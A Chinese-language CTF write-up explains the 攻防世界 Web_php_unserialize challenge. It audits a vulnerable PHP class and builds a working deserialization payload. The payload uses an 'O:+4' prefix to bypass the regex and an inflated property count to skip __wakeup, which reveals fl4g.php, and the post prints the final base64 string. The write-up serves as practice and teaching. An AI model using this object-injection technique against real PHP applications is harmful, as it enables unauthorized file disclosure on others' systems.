攻防世界 Web_php_unserialize 反序列化

昨天帮忙打了场比赛,web题目里也是有反序列化的题,也是利用魔术方法的调用来构造pop链,获取flag但那道题好绕我不会写,然后还有关于json的题,就发现自己好多都没学,真的打一场比赛容易把自己人都打傻掉。
这道题也是看了好久才明白的题目。
废话不多直接上代码

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

反序列化题基本考的就是函数的绕过以及pop链的构造,说句实话只要难一点的pop链我基本都没啥头绪。感觉得学好久好久。
先代码审计吧
看一下里面的魔法函数
__construct()实例化对象时被调用
__destruct() 当删除一个对象或对象操作终止时被调用
__wakeup() 当用到unserialize()函数时该函数被调用

大家一定要把面向对象学好,理解好类,对象这些
然后pop链就是找到你最后要执行的那个类中的函数,找到各个类和函数之间的关系层层调用最后执行到你想执行的地方

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 

重心放到这个类中
看到一个the secret is in the fl4g.php 就是说答案在fl4g.php中
那么怎么访问到这个就是我们所需要思考的问题接下来看到一个函数

 function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
在页面中高亮显示$this->file也就是说这个就是我们所需要的函数再看
$this->file 怎么让他等于 fl4g.php  再看到
 public function __construct($file) { 
        $this->file = $file; 
    }

这个函数就能达到我们想要的目的也就是你实例化一个对象后就会直接调用这个函数大致就是
$t=new 类();的时候调用了这个函数。然后会传入 file值
那我们是不是就可以让
$t=new Demo(‘fl4g.php’)来传参来执行这个函数,接下来是这一段

 function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

如果$this->file的值不为index.php将它赋值为index.php那我们前面的传参不就浪费了嘛,那这个函数不能留,这个函数的调用又在_construct调用之后
所以必须得绕过它。那这个的绕过我们过一会儿再提。接下来是输入部分

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

这里我们可以看到var的值被base64解码后再进行正则匹配,正则匹配我之前看到一个博客讲的很仔细但我现在找不到了QAQ。大家好好去看看正则匹配。可以直接打开在线正则匹配的网站去试大概就是说[O,C]:[0-9]:这样的都会被正则匹配到但是在序列化的时候我们是不可避免的会被正则匹配到的所以就想办法去绕过就好了php里面的特性+[0-9]就相当于[0-9]那这样大家是不是就有头绪了呢接下来给大家看看我的payload

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$file='fl4g.php';
$t=new Demo($file);
echo serialize($t);
echo base64_encode(serialize($t));

$t=new Demo($file);这样
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}

Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
让var的值等于这个这样这串值就会被传入先执行_construct()函数再执行
_wakeup(),那我们就想办法绕过这个_wakeup()这里就运用到一个漏洞,
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}看到这串中被标粗加斜体的了吗如果这个表示对象属性个数的值大于真实个数就会绕过这个_wakeup()所以再加上前面的过滤,那我们就会得到一个
O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}然后再把这一串拿去base64编码就好啦,天真的我真的就拿去加密后就放进去了结果没有内容显示我直接吐出来,后来去查了大佬的博客发现了问题所在
因为Demo类中的file属性是私有属性在序列化过后,类名的前后会有%00阻断,所以我们直接在php文件中就把这一整串都替换好直接用php继续base64编码

$m=serialize($t);
$m=str_replace('1:','2:',$m);
$m=str_replace('O:4','O:+4',$m);
echo base64_encode($m);

最后得到
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
在这里插入图片描述多刷题,多看题,多总结题一定要多做多看!这很重要,pop链的构造真的要多看多去想每个类与函数之间的联系,加油每位CTF人,渗透测试人!!!

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值